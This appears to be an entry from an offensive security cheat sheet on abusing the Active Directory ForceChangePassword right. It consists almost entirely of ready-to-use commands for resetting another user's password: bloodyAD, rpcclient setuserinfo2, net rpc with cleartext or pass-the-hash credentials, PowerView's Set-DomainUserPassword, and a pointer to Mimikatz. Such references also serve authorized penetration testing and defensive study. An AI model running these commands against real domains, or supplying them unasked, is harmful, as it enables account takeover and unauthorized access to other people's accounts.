ForceChangePassword

Linux

The easiest

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password $TargetUser $NewPassword

An alternative of rpcclient can also be used The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.

rpcclient -U $DOMAIN/$ControlledUser $DomainController
rpcclient $> setuserinfo2 $TargetUser 23 $NewPassword

# With net and cleartext credentials (will be prompted)
net rpc password $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController

# With net and cleartext credentials
net rpc password $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController

# With Pass-the-Hash
pth-net rpc password $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController

Windows

The attacker can change the password of the user. This can be achieved with Set-DomainUserPassword (PowerView module).

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

Mimikatz's lsadump::setntlm can also be used for that purpose.
